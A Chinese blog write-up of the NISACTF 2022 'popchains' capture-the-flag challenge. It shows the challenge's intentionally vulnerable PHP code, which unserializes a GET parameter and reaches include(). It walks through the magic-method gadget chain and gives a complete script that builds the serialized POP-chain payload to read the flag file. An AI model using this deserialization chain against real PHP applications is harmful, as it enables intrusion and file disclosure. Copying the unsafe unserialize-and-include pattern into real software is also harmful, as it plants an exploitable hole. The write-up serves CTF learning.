首页 > 其他分享 >[NISACTF 2022]popchains

[NISACTF 2022]popchains

时间:2023-03-08 12:02:10浏览次数:41  
标签:function __ popchains value page 2022 NISACTF effort public

[NISACTF 2022]popchains

源代码

<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}
/**********************Try to See flag.php*****************************/

源码分析

通过注释的提示发现 flag.php 这个文件

在源代码中发现 include($value) 并且参数是可控的,从此为切入点来逐次分析

__invoke()触发include($value)$function() 由于 $function 变量是可控的因此可以触发__invoke

$function()需要__get()来触发, 发现Road_is_Long中的$this->string->page;中的String可控,但是这个Tostring如何触发

当时翻阅了几遍源代码,最终锁定在正则函数中,因此可以直接构造POP链接了

<?php
class Road_is_Long{
    public $page;
    public $string;

}

class Try_Work_Hard{
    protected  $var = '/flag';

}

class Make_a_Change
{
    public $effort;


}

$Road1 = new Road_is_Long();
$Road2 = new Road_is_Long();
$Make = new Make_a_Change();
$Try = new Try_Work_Hard();

$Road2->page = $Road1;
$Road1->string = $Make;
$Make->effort = $Try;

echo urlencode(serialize($Road2));

标签:function,__,popchains,value,page,2022,NISACTF,effort,public
From: https://www.cnblogs.com/0xo0Kerk/p/17191552.html

相关文章

  • A. Amateur Chess Players【GDUT 2022 grade Qualifying # 2】
    A.AmateurChessPlayers原题链接题意Atthebeginning,CuberQQ,whohasthewhitepieces,andQuberCC,whohastheblackpieces,placesomeoftheirpiec......
  • QOJ5256 [CERC2022] H. Insertions 题解
    题面题意:给定字符串\(S,T,P\),求将\(T\)插入进\(S\)之后\(P\)最多的出现次数。输出:最多的出现次数;达到这个最多出现次数的插入位置数量;达到这个最多出现次数......
  • 2022.3.7学习总结
    按照我们敬爱的建民老师的要求,我对我的UI交互界面做了一些优化,包括两个方面,首先是按钮的风格,接着又解决了标题栏的问题。 由于能力有限,暂时设计不出更加漂亮的标题栏,于......
  • 山东csp-j2022 试题答案及视频讲解
    山东csp-j2022试题答案及视频讲解T319771植树节(planting)山东CSP-J2022入门组1题目链接:https://www.luogu.com.cn/problem/T319771题目讲解:#include<iostream>#inc......
  • 2022虚拟人应用与实践报告
    导读:原文《2022虚拟人应用与实践报告》,本文精选其中精华及架构部分,逻辑清晰、内容完整,为快速形成售前方案提供参考          ......
  • NIT-2022JAVA W1-6-1 分数
    题目设计一个表示分数的类Fraction。这个类用两个int类型的变量分别表示分子和分母。注意,在创建和做完运算后应该化简分数为最简形式。如2/4应该被化简为1/2。函数......
  • 从国家统计局网站爬取省级到村级别的行政区划代码(2022最新)
    importcn.hutool.http.HttpUtil;importjava.io.BufferedReader;importjava.io.BufferedWriter;importjava.io.IOException;importjava.io.InputStreamReader;importj......
  • 使用pycharm2022社区版搭建Django
    因为使用的是pycharm社区版,免费的没有直接搭建Django项目,所以查了半天资料,摸索了半天,才跑起来,用此文记录下。1.使用pycharm创建项目,安装项目创建好后,大概会有个虚拟环......
  • 【专题】深度学习平台发展报告(2022年)PDF合集分享(附原数据表)
    报告链接:http://tecdat.cn/?p=31689原文出处:拓端数据公众号深度学习平台市场目前正经历着巨大的增长阶段。头部企业通过整合算力、研发、部署、行业应用等AI服务能力,布局......
  • 【愚公系列】2022年03月 .NET架构班 020-ABP vNext 虚拟文件系统
    【摘要】前言虚拟文件系统可以管理文件系统(磁盘)上实际不存在的文件。它主要用于将(js,css,image,cshtml…)文件嵌入到程序集中,并在运行时将它们用作物理文件。一、集成虚拟......